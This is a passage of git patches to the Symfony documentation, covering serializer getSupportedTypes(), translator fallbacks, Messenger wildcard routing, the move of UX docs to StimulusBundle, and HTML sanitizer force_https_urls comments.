-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` contain a new method ``getSupportedTypes()``.
-This method allows normalizers or denormalizers to declare the type of objects they can handle, and whether they are
-cacheable. With this info, even if the ``supports*()`` call is not cacheable, the Serializer can skip a ton of method calls
-to ``supports*()`` improving performance substantially in some cases.
-
-The ``getSupportedTypes()`` method should return an array where the keys represent the supported types, and the values
-indicate whether the result of the ``supports*()`` method call can be cached or not. The format of the returned array is as
-follows:
-
-- The special key ``object`` can be used to indicate that the normalizer or denormalizer supports any classes or
-  interfaces.
-- The special key ``*`` can be used to indicate that the normalizer or denormalizer might support any types.
-- The other keys in the array should correspond to specific types that the normalizer or denormalizer supports.
-- The values associated with each type should be a boolean indicating if the result of the ``supports*()`` method call for
-  that type can be cached or not. A value of ``true`` means that the result is cacheable, while ``false`` means that the
-  result is not cacheable.
-- A ``null`` value for a type means that the normalizer or denormalizer does not support that type.
-
-Here is an example of how to use the ``getSupportedTypes()`` method::
-
-    use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
-
-    class MyNormalizer implements NormalizerInterface
-    {
-        // ...
-
-        public function getSupportedTypes(?string $format): array
-        {
-            return [
-                'object' => null, // Doesn't supports any classes or interfaces
-                '*' => false, // Supports any other types, but the result is not cacheable
-                MyCustomClass::class => true, // Supports MyCustomClass and result is cacheable
-            ];
-        }
-    }
-
-Note that ``supports*()`` method implementations should not assume that ``getSupportedTypes()`` has been called before.
-
 Registering it in your Application
 ----------------------------------
 
@@ -128,5 +82,58 @@ is called.
     All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
     as well the ones included in `API Platform`_ natively implement this interface.
 
-.. _`API Platform`: https://api-platform.com
+Improving Performance of Normalizers/Denormalizers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 6.3
+
+    The ``getSupportedTypes()`` method was introduced in Symfony 6.3.
+
+Both :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface`
+and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`
+contain a new method ``getSupportedTypes()``. This method allows normalizers or
+denormalizers to declare the type of objects they can handle, and whether they
+are cacheable. With this info, even if the ``supports*()`` call is not cacheable,
+the Serializer can skip a ton of method calls to ``supports*()`` improving
+performance substantially in some cases.
+
+The ``getSupportedTypes()`` method should return an array where the keys
+represent the supported types, and the values indicate whether the result of
+the ``supports*()`` method call can be cached or not. The format of the
+returned array is as follows:
+
+#. The special key ``object`` can be used to indicate that the normalizer or
+   denormalizer supports any classes or interfaces.
+#. The special key ``*`` can be used to indicate that the normalizer or
+   denormalizer might support any types.
+#. The other keys in the array should correspond to specific types that the
+   normalizer or denormalizer supports.
+#. The values associated with each type should be a boolean indicating if the
+   result of the ``supports*()`` method call for that type can be cached or not.
+   A value of ``true`` means that the result is cacheable, while ``false`` means
+   that the result is not cacheable.
+#. A ``null`` value for a type means that the normalizer or denormalizer does
+   not support that type.
+
+Here is an example of how to use the ``getSupportedTypes()`` method::
+
+    use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+
+    class MyNormalizer implements NormalizerInterface
+    {
+        // ...
+
+        public function getSupportedTypes(?string $format): array
+        {
+            return [
+                'object' => null,             // Doesn't support any classes or interfaces
+                '*' => false,                 // Supports any other types, but the result is not cacheable
+                MyCustomClass::class => true, // Supports MyCustomClass and result is cacheable
+            ];
+        }
+    }
+
+Note that ``supports*()`` method implementations should not assume that
+``getSupportedTypes()`` has been called before.
+
+.. _`API Platform`: https://api-platform.com

From 68642ae4782d28d4423d05a2640cf0497cd1910a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 14 Jun 2023 14:16:32 +0200
Subject: [PATCH 4738/7107] [Process] Remove wrong note about
 `create_new_console` option

---
 components/process.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index a0a312512bc..12ee096df4e 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -113,11 +113,6 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
-.. note::
-
-    The ``create_new_console`` option is only available on Windows!
-
-
 Using Features From the OS Shell
 --------------------------------
 

From 40d2bb7b0cfaf18dec6166694d3fa91574f3f51e Mon Sep 17 00:00:00 2001
From: Enzo Santamaria <62953579+Enz000@users.noreply.github.com>
Date: Wed, 14 Jun 2023 23:29:17 +0200
Subject: [PATCH 4739/7107] Update service_container.rst (Manually Wiring
 Arguments part)

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 53439ff4006..4e05b92da2e 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -412,7 +412,7 @@ example, suppose you want to make the admin email configurable:
           public function __construct(
               private MessageGenerator $messageGenerator,
               private MailerInterface $mailer,
-    +        private string $adminEmail,)
+    +        private string $adminEmail
           ) {
           }
 

From dd12eb5986b7a8b8ed5153a48384b11ca34efe74 Mon Sep 17 00:00:00 2001
From: Matthias Pigulla <mp@webfactory.de>
Date: Thu, 15 Jun 2023 10:47:14 +0200
Subject: [PATCH 4740/7107] Mention that `default_locale` is used as the
 default for `framework.translator.fallbacks`

---
 translation.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index e36fb9ff321..b368c00d7f4 100644
--- a/translation.rst
+++ b/translation.rst
@@ -943,6 +943,9 @@ the framework:
             $framework->defaultLocale('en');
         };
 
+This ``default_locale`` is also relevant for the translator, as we will see
+in the next section.
+
 .. _translation-fallback:
 
 Fallback Translation Locales
@@ -963,7 +966,8 @@ checks translation resources for several locales:
    (Spanish) translation resource (e.g. ``messages.es.yaml``);
 
 #. If the translation still isn't found, Symfony uses the ``fallbacks`` option,
-   which can be configured as follows:
+   which can be configured as follows. When this option is not defined, it
+   defaults to the ``default_locale`` setting mentioned in the previous section.
 
    .. configuration-block::
 

From 526faafd0e380b16bbdc6c1222e566233bc8477b Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Tue, 6 Jun 2023 16:11:46 -0400
Subject: [PATCH 4741/7107] [UX] Centralizing docs around StimulusBundle

---
 _build/redirection_map             |   1 +
 frontend.rst                       |  37 +++----
 frontend/_ux-libraries.rst.inc     |  44 ---------
 frontend/encore/simple-example.rst |   9 +-
 frontend/ux.rst                    | 152 -----------------------------
 reference/forms/types/map.rst.inc  |   3 +-
 6 files changed, 26 insertions(+), 220 deletions(-)
 delete mode 100644 frontend/_ux-libraries.rst.inc
 delete mode 100644 frontend/ux.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 51fc2b835a3..049fca61d50 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -561,3 +561,4 @@
 /frontend/assetic /frontend
 /frontend/assetic/index /frontend
 /controller/argument_value_resolver /controller/value_resolver
+/frontend/ux https://symfony.com/bundles/StimulusBundle/current/index.html
diff --git a/frontend.rst b/frontend.rst
index f04dbdf14d4..54889c0ba05 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -15,19 +15,19 @@ fast frontend, *and* enjoy the process:
 * :ref:`AssetMapper <frontend-asset-mapper>`, is a production-ready simpler alternative
   to Webpack Encore that runs entirely in PHP. It's currently experimental.
 
-==========================================  =================  ======================================================
-                                            Encore             AssetMapper
-==========================================  =================  ======================================================
-Production Ready?                           yes                yes
-Stable?                                     yes                :doc:`experimental </contributing/code/experimental>`
-Requirements                                node               none: pure PHP
-Requires a build step?                      yes                no
-Works in all browsers?                      yes                yes
-Supports :doc:`Stimulus/UX </frontend/ux>`  yes                yes
-Supports Sass/Tailwind                      yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?                yes                yes**
-Supports TypeScript                         yes                no**
-==========================================  =================  ======================================================
+================================  =================  ======================================================
+                                  Encore             AssetMapper
+================================  =================  ======================================================
+Production Ready?                 yes                yes
+Stable?                           yes                :doc:`experimental </contributing/code/experimental>`
+Requirements                      node               none: pure PHP
+Requires a build step?            yes                no
+Works in all browsers?            yes                yes
+Supports `Stimulus/UX`_           yes                yes
+Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
+Supports React, Vue, Svelte?      yes                yes**
+Supports TypeScript               yes                no**
+================================  =================  ======================================================
 
 ** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
    need to use their native tools for pre-compilation. Also, some features (like
@@ -123,12 +123,11 @@ AssetMapper is currently :doc:`experimental </contributing/code/experimental>`.
 
 :doc:`Read the AssetMapper Documentation </frontend/asset_mapper>`
 
-Symfony UX Components
----------------------
+Stimulus & Symfony UX Components
+--------------------------------
 
-* :doc:`/frontend/ux`
-
-.. include:: /frontend/_ux-libraries.rst.inc
+To learn about Stimulus & the UX Components, see:
+the `StimulusBundle Documentation`_
 
 Other Front-End Articles
 ------------------------
@@ -153,3 +152,5 @@ Other Front-End Articles
 .. _`Symfony`: https://symfony.com/
 .. _`Full API`: https://github.com/symfony/webpack-encore/blob/master/index.js
 .. _`Webpack Encore screencast series`: https://symfonycasts.com/screencast/webpack-encore
+.. _StimulusBundle Documentation: https://symfony.com/bundles/StimulusBundle/current/index.html
+.. _Stimulus/UX: https://symfony.com/bundles/StimulusBundle/current/index.html
diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
deleted file mode 100644
index a9d8f15acde..00000000000
--- a/frontend/_ux-libraries.rst.inc
+++ /dev/null
@@ -1,44 +0,0 @@
-* `ux-autocomplete`_: Transform ``EntityType``, ``ChoiceType`` or *any*
-  ``<select>`` element into an Ajax-powered autocomplete field
-  (`see demo <https://ux.symfony.com/autocomplete>`_)
-* `ux-chartjs`_: Easy charts with `Chart.js`_ (`see demo <https://ux.symfony.com/chartjs>`_)
-* `ux-cropperjs`_: Form Type and tools for cropping images (`see demo <https://ux.symfony.com/cropperjs>`_)
-* `ux-dropzone`_: Form Type for stylized "drop zone" for file uploads
-  (`see demo <https://ux.symfony.com/dropzone>`_)
-* `ux-lazy-image`_: Optimize Image Loading with BlurHash
-  (`see demo <https://ux.symfony.com/lazy-image>`_)
-* `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript
-  (`see demo <https://ux.symfony.com/live-component>`_)
-* `ux-notify`_: Send server-sent native notification with Mercure
-  (`see demo <https://ux.symfony.com/notify>`_)
-* `ux-react`_: Render `React`_ component from Twig (`see demo <https://ux.symfony.com/react>`_)
-* `ux-swup`_: Integration with `Swup`_ (`see demo <https://ux.symfony.com/swup>`_)
-* `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
-  (`see demo <https://ux.symfony.com/turbo>`_)
-* `ux-twig-component`_: Build Twig Components Backed by a PHP Class
-  (`see demo <https://ux.symfony.com/twig-component>`_)
-* `ux-typed`_: Integration with `Typed`_ (`see demo <https://ux.symfony.com/typed>`_)
-* `ux-vue`_: Render `Vue`_ component from Twig (`see demo <https://ux.symfony.com/vue>`_)
-* `ux-svelte`_: Render `Svelte`_ component from Twig.
-
-.. _`ux-autocomplete`: https://symfony.com/bundles/ux-autocomplete/current/index.html
-.. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
-.. _`ux-cropperjs`: https://symfony.com/bundles/ux-cropperjs/current/index.html
-.. _`ux-dropzone`: https://symfony.com/bundles/ux-dropzone/current/index.html
-.. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
-.. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
-.. _`ux-notify`: https://symfony.com/bundles/ux-notify/current/index.html
-.. _`ux-react`: https://symfony.com/bundles/ux-react/current/index.html
-.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
-.. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
-.. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
-.. _`ux-typed`: https://symfony.com/bundles/ux-typed/current/index.html
-.. _`ux-vue`: https://symfony.com/bundles/ux-vue/current/index.html
-.. _`ux-svelte`: https://symfony.com/bundles/ux-svelte/current/index.html
-.. _`Chart.js`: https://www.chartjs.org/
-.. _`Swup`: https://swup.js.org/
-.. _`React`: https://reactjs.org/
-.. _`Svelte`: https://svelte.dev/
-.. _`Turbo Drive`: https://turbo.hotwired.dev/
-.. _`Typed`: https://github.com/mattboldt/typed.js/
-.. _`Vue`: https://vuejs.org/
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 2e5043c5f83..3c4ee28af55 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -268,10 +268,8 @@ via Ajax - those will instantly work: no need to reinitialize anything.
 Ready to learn more about Stimulus?
 
 * Read the `Stimulus Documentation`_
-* Find out more about how the :doc:`Symfony UX system works </frontend/ux>`
-* See a :ref:`list of all Symfony UX packages <ux-packages-list>`
-* Learn more about the `Symfony Stimulus Bridge`_ - including the superpower of
-  making your controllers load lazily!
+* Learn more about `StimulusBundle & the UX System`_
+* Browse `all the Symfony UX packages`_
 
   .. admonition:: Screencast
       :class: screencast
@@ -480,7 +478,8 @@ Encore supports many more features! For a full list of what you can do, see
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
 .. _`Stimulus`: https://stimulus.hotwired.dev/
 .. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction
-.. _`Symfony Stimulus Bridge`: https://github.com/symfony/stimulus-bridge
+.. _StimulusBundle & the UX System: https://symfony.com/bundles/StimulusBundle/current/index.html
+.. _all the Symfony UX packages: https://symfony.com/bundles/StimulusBundle/current/index.html#ux-packages
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`symfony/ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
 .. _`Stimulus Screencast`: https://symfonycasts.com/screencast/stimulus
diff --git a/frontend/ux.rst b/frontend/ux.rst
deleted file mode 100644
index 98360893905..00000000000
--- a/frontend/ux.rst
+++ /dev/null
@@ -1,152 +0,0 @@
-The Symfony UX Initiative & Packages
-====================================
-
-.. tip::
-
-    Check out live demos of Symfony UX at `https://ux.symfony.com`_!
-
-Symfony UX is an initiative and set of libraries to seamlessly
-integrate JavaScript tools into your application. For example,
-want to render a chart with `Chart.js`_? Use `UX Chart.js`_ to build the
-chart in PHP. The JavaScript is handled for you automatically.
-
-Behind the scenes, the UX packages leverage `Stimulus`_: a small, but
-powerful library for binding JavaScript functionality to elements on
-your page.
-
-Installing Symfony UX
----------------------
-
-Before you install any specific UX library, make sure you've installed
-:doc:`Webpack Encore </frontend/encore/installation>`.
-
-If you already have it installed, make sure you have an
-``assets/bootstrap.js`` file (this initializes Stimulus & the UX packages),
-an ``assets/controllers.json`` file (this controls the 3rd party UX packages that
-you've installed) and ``.enableStimulusBridge('./assets/controllers.json')`` in
-your ``webpack.config.js`` file. If these are missing, try upgrading the
-``symfony/webpack-encore-bundle`` Flex recipe. See
-:ref:`Upgrading Flex Recipes <updating-flex-recipes>`.
-
-.. _ux-packages-list:
-
-All Symfony UX Packages
------------------------
-
-.. include:: /frontend/_ux-libraries.rst.inc
-
-Stimulus Tools around the World
--------------------------------
-
-Because Stimulus is used by developers outside of Symfony, many tools
-exist beyond the UX packages:
-
-* `stimulus-use`_: Add composable behaviors to your Stimulus controllers, like
-  debouncing, detecting outside clicks and many other things.
-
-* `stimulus-components`_ A large number of pre-made Stimulus controllers, like for
-  Copying to clipboard, Sortable, Popover (similar to tooltips) and much more.
-
-How does Symfony UX Work?
--------------------------
-
-When you install a UX PHP package, Symfony Flex will automatically update your
-``package.json`` file to point to a "virtual package" that lives inside the
-PHP package. For example:
-
-.. code-block:: json
-
-    {
-        "devDependencies": {
-            "...": "",
-            "@symfony/ux-chartjs": "file:vendor/symfony/ux-chartjs/assets"
-        }
-    }
-
-This gives you a *real* Node package (e.g. ``@symfony/ux-chartjs``) that, instead
-of being downloaded, points directly to files that already live in your ``vendor/``
-directory.
-
-The Flex recipe will usually also update your ``assets/controllers.json`` file
-to add a new Stimulus controller to your app. For example:
-
-.. code-block:: json
-
-    {
-        "controllers": {
-            "@symfony/ux-chartjs": {
-                "chart": {
-                    "enabled": true,
-                    "fetch": "eager"
-                }
-            }
-        },
-        "entrypoints": []
-    }
-
-Finally, your ``assets/bootstrap.js`` file - working with the `@symfony/stimulus-bridge`_ -
-package will automatically register:
-
-* All files in ``assets/controllers/`` as Stimulus controllers;
-* And all controllers described in ``assets/controllers.json`` as Stimulus controllers.
-
-The end result: you install a package, and you instantly have a Stimulus
-controller available! In this example, it's called
-``@symfony/ux-chartjs/chart``. Well, technically, it will be called
-``symfony--ux-chartjs--chart``. However, you can pass the original name
-into the ``{{ stimulus_controller() }}`` function from WebpackEncoreBundle, and
-it will normalize it:
-
-.. code-block:: html+twig
-
-    <div {{ stimulus_controller('@symfony/ux-chartjs/chart') }}>
-
-    <!-- will render as: -->
-    <div data-controller="symfony--ux-chartjs--chart">
-
-Lazy Controllers
-----------------
-
-By default, all of your controllers (i.e. files in ``assets/controllers/`` +
-controllers in ``assets/controllers.json``) will be downloaded and loaded on
-every page.
-
-Sometimes you may have a controller that is only used on some pages, or maybe
-only in your admin area. In that case, you can make the controller "lazy". When
-a controller is lazy, it is *not* downloaded on initial page load. Instead, as
-soon as an element appears on the page matching the controller (e.g.
-``<div data-controller="hello">``), the controller - and anything else it imports -
-will be lazyily-loaded via Ajax.
-
-To make one of your custom controllers lazy, add a special comment on top:
-
-.. code-block:: javascript
-
-    import { Controller } from '@hotwired/stimulus';
-
-    /* stimulusFetch: 'lazy' */
-    export default class extends Controller {
-        // ...
-    }
-
-To make a third-party controller lazy, in ``assets/controllers.json``, set
-``fetch`` to ``lazy``.
-
-.. note::
-
-    If you write your controllers using TypeScript, make sure
-    ``removeComments`` is not set to ``true`` in your TypeScript config.
-
-More Advanced Setup
--------------------
-
-To learn about more advanced options, read about `@symfony/stimulus-bridge`_,
-the Node package that is responsible for a lot of the magic.
-
-.. _`Chart.js`: https://www.chartjs.org/
-.. _`UX Chart.js`: https://symfony.com/bundles/ux-chartjs/current/index.html
-.. _`Stimulus`: https://stimulus.hotwired.dev/
-.. _`@symfony/stimulus-bridge`: https://github.com/symfony/stimulus-bridge
-.. _`stimulus-use`: https://stimulus-use.github.io/stimulus-use
-.. _`stimulus-components`: https://stimulus-components.netlify.app/
-.. _`https://ux.symfony.com`: https://ux.symfony.com
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 4496fd1d377..d2fefa20dde 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -47,7 +47,7 @@ Other Fields
 Symfony UX Fields
 ~~~~~~~~~~~~~~~~~
 
-These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
+These types are part of the `Symfony UX Packages`_
 
 * `CropperType`_ (using Cropper.js)
 * `DropzoneType`_
@@ -83,3 +83,4 @@ Base Fields
 
 .. _`CropperType`: https://github.com/symfony/ux/tree/2.x/src/Cropperjs#readme
 .. _`DropzoneType`: https://github.com/symfony/ux/tree/2.x/src/Dropzone#readme
+.. _Symfony UX Packages: https://symfony.com/bundles/StimulusBundle/current/index.html#ux-packages

From c4e26556eb2a764a3d0382036071faa3d9c657c2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C5=82=20Brzuchalski?= <michal.brzuchalski@gmail.com>
Date: Wed, 7 Dec 2022 11:35:20 +0100
Subject: [PATCH 4742/7107] [Messenger] Extend note on routing with support for
 wildcard routes

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index b5d47668eef..33f2ea9d2df 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -259,6 +259,11 @@ matched under ``routing`` will still be handled immediately, i.e. synchronously.
 
 .. note::
 
+    You may use ``'App\Message\*'`` combined with valid namespace. The wildcard
+    at the end will act as a routing for all messages within the matching namespace.
+    The wildcard can follow any valid namespace but has to be placed at the end.
+    This is useful to route all classes sharing the same namespace to the same transport.
+
     You may use ``'*'`` as the message class. This will act as a default routing
     rule for any message not matched under ``routing``. This is useful to ensure
     no message is handled synchronously by default.

From 2c7aa8b639040e463ac6bd59b58fa0958576d249 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 13:01:39 +0200
Subject: [PATCH 4743/7107] Minor reword

---
 messenger.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 33f2ea9d2df..b1349f476d9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -259,10 +259,9 @@ matched under ``routing`` will still be handled immediately, i.e. synchronously.
 
 .. note::
 
-    You may use ``'App\Message\*'`` combined with valid namespace. The wildcard
-    at the end will act as a routing for all messages within the matching namespace.
-    The wildcard can follow any valid namespace but has to be placed at the end.
-    This is useful to route all classes sharing the same namespace to the same transport.
+    You may use a partial PHP namespace like ``'App\Message\*'`` to match all
+    the messages within the matching namespace. The only requirement is that the
+    ``'*'`` wildcard has to be placed at the end of the namespace.
 
     You may use ``'*'`` as the message class. This will act as a default routing
     rule for any message not matched under ``routing``. This is useful to ensure

From b9a74c01949ff2e1aa3040ddd89b57310a626b30 Mon Sep 17 00:00:00 2001
From: Patrick Landolt <patrick.landolt@artack.ch>
Date: Wed, 7 Jun 2023 10:30:11 +0200
Subject: [PATCH 4744/7107] correct usage of force_https_urls

added additional information
---
 html_sanitizer.rst | 40 ++++++++++++++++++++++++----------------
 1 file changed, 24 insertions(+), 16 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index fccaedd29cd..fff26f693f4 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -721,8 +721,9 @@ URLs of ``<a>`` elements:
                     app.post_sanitizer:
                         # ...
 
-                        # if `true`, all URLs will be forced using the `https://` scheme (instead
-                        # of e.g. `http://` or `mailto:`)
+                        # if `true`, all URLs using the `http://` scheme will be converted to
+                        # using the `https://` scheme instead. `http` still needs to be allowed
+                        # in `allowed_link_schemes`
                         force_https_urls: true
 
                         # specifies the allowed URL schemes. If the URL has a different scheme, the
@@ -748,8 +749,9 @@ URLs of ``<a>`` elements:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <!-- force-https-urls: if `true`, all URLs will be forced using the `https://`
-                                       scheme (instead of e.g. `http://` or `mailto:`) -->
+                <!-- force-https-urls: if `true`, all URLs using the `http://` scheme will be
+                                       converted to using the `https://` scheme instead.
+                                       `http` still needs to be allowed in `allowed-link-scheme` -->
                 <!-- allow-relative-links: whether to allow relative links (i.e. URLs without
                                            scheme and host) -->
                 <framework:html-sanitizer
@@ -777,8 +779,9 @@ URLs of ``<a>`` elements:
         return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    // if `true`, all URLs will be forced using the `https://` scheme (instead
-                    // of e.g. `http://` or `mailto:`)
+                    // if `true`, all URLs using the `http://` scheme will be converted to
+                    // using the `https://` scheme instead. `http` still needs to be
+                    // allowed in `allowedLinkSchemes`
                     ->forceHttpsUrls(true)
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
@@ -801,8 +804,9 @@ URLs of ``<a>`` elements:
 
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
-                // if `true`, all URLs will be forced using the `https://` scheme (instead
-                // of e.g. `http://` or `mailto:`)
+                // if `true`, all URLs using the `http://` scheme will be converted to
+                // using the `https://` scheme instead. `http` still needs to be
+                // allowed in `allowedLinkSchemes`
                 ->forceHttpsUrls()
 
                 // specifies the allowed URL schemes. If the URL has a different scheme, the
@@ -835,8 +839,9 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                     app.post_sanitizer:
                         # ...
 
-                        # if `true`, all URLs will be forced using the `https://` scheme (instead
-                        # of e.g. `http://` or `data:`)
+                        # if `true`, all URLs using the `http://` scheme will be converted to
+                        # using the `https://` scheme instead. `http` still needs to be allowed
+                        # in `allowed_media_schemes`
                         force_https_urls: true
 
                         # specifies the allowed URL schemes. If the URL has a different scheme, the
@@ -862,8 +867,9 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <!-- force-https-urls: if `true`, all URLs will be forced using the `https://`
-                                       scheme (instead of e.g. `http://` or `data:`) -->
+                <!-- force-https-urls: if `true`, all URLs using the `http://` scheme will be
+                                       converted to using the `https://` scheme instead. `http`
+                                       still needs to be allowed in `allowed-media-scheme` -->
                 <!-- allow-relative-medias: whether to allow relative URLs (i.e. URLs without
                                            scheme and host) -->
                 <framework:html-sanitizer
@@ -891,8 +897,9 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
         return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    // if `true`, all URLs will be forced using the `https://` scheme (instead
-                    // of e.g. `http://` or `data:`)
+                    // if `true`, all URLs using the `http://` scheme will be converted to
+                    // using the `https://` scheme instead. `http` still needs to be
+                    // allowed in `allowedMediaSchemes`
                     ->forceHttpsUrls(true)
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
@@ -915,8 +922,9 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
-                // if `true`, all URLs will be forced using the `https://` scheme (instead
-                // of e.g. `http://` or `data:`)
+                // if `true`, all URLs using the `http://` scheme will be converted to
+                // using the `https://` scheme instead. `http` still needs to be
+                // allowed in `allowedMediaSchemes`
                 ->forceHttpsUrls()
 
                 // specifies the allowed URL schemes. If the URL has a different scheme, the

From e821cb0fcd55945b7229a2ee4354313e7ec57c6a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 13:47:39 +0200
Subject: [PATCH 4745/7107] Minor tweak

---
 html_sanitizer.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index fff26f693f4..e28ea8101a4 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -722,7 +722,7 @@ URLs of ``<a>`` elements:
                         # ...
 
                         # if `true`, all URLs using the `http://` scheme will be converted to
-                        # using the `https://` scheme instead. `http` still needs to be allowed
+                        # use the `https://` scheme instead. `http` still needs to be allowed
                         # in `allowed_link_schemes`
                         force_https_urls: true
 
@@ -750,7 +750,7 @@ URLs of ``<a>`` elements:
 
             <framework:config>
                 <!-- force-https-urls: if `true`, all URLs using the `http://` scheme will be
-                                       converted to using the `https://` scheme instead.
+                                       converted to use the `https://` scheme instead.
                                        `http` still needs to be allowed in `allowed-link-scheme` -->
                 <!-- allow-relative-links: whether to allow relative links (i.e. URLs without
                                            scheme and host) -->
@@ -780,7 +780,7 @@ URLs of ``<a>`` elements:
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // if `true`, all URLs using the `http://` scheme will be converted to
-                    // using the `https://` scheme instead. `http` still needs to be
+                    // use the `https://` scheme instead. `http` still needs to be
                     // allowed in `allowedLinkSchemes`
                     ->forceHttpsUrls(true)
 
@@ -805,7 +805,7 @@ URLs of ``<a>`` elements:
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
                 // if `true`, all URLs using the `http://` scheme will be converted to
-                // using the `https://` scheme instead. `http` still needs to be
+                // use the `https://` scheme instead. `http` still needs to be
                 // allowed in `allowedLinkSchemes`
                 ->forceHttpsUrls()
 
@@ -840,7 +840,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                         # ...
 
                         # if `true`, all URLs using the `http://` scheme will be converted to
-                        # using the `https://` scheme instead. `http` still needs to be allowed
+                        # use the `https://` scheme instead. `http` still needs to be allowed
                         # in `allowed_media_schemes`
                         force_https_urls: true
 
@@ -868,7 +868,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 
             <framework:config>
                 <!-- force-https-urls: if `true`, all URLs using the `http://` scheme will be
-                                       converted to using the `https://` scheme instead. `http`
+                                       converted to use the `https://` scheme instead. `http`
                                        still needs to be allowed in `allowed-media-scheme` -->
                 <!-- allow-relative-medias: whether to allow relative URLs (i.e. URLs without
                                            scheme and host) -->
@@ -898,7 +898,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // if `true`, all URLs using the `http://` scheme will be converted to
-                    // using the `https://` scheme instead. `http` still needs to be
+                    // use the `https://` scheme instead. `http` still needs to be
                     // allowed in `allowedMediaSchemes`
                     ->forceHttpsUrls(true)
 
@@ -923,7 +923,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
                 // if `true`, all URLs using the `http://` scheme will be converted to
-                // using the `https://` scheme instead. `http` still needs to be
+                // use the `https://` scheme instead. `http` still needs to be
                 // allowed in `allowedMediaSchemes`
                 ->forceHttpsUrls()
 

